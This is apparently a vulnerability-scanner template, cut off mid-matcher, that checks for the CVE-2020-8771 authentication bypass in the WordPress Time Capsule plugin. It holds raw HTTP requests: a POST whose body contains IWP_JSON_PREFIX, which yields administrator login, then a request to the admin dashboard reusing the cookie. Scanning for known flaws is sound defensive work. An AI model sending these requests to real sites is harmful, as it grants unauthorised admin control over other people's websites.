id: CVE-2020-8771 info: name: WordPress Time Capsule < 1.21.16 - Authentication Bypass author: princechaddha severity: critical description: "WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts." reference: - https://github.com/SECFORCE/WPTimeCapsulePOC - https://nvd.nist.gov/vuln/detail/CVE-2020-8771 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-8771 cwe-id: CWE-287 tags: cve,cve2020,wordpress,wp-plugin requests: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Connection: close Accept: */* IWP_JSON_PREFIX - | GET /wp-admin/index.php HTTP/1.1 Host: {{Hostname}} Connection: close Accept: */* cookie-reuse: true matchers-condition: and matchers: - type: word words: - '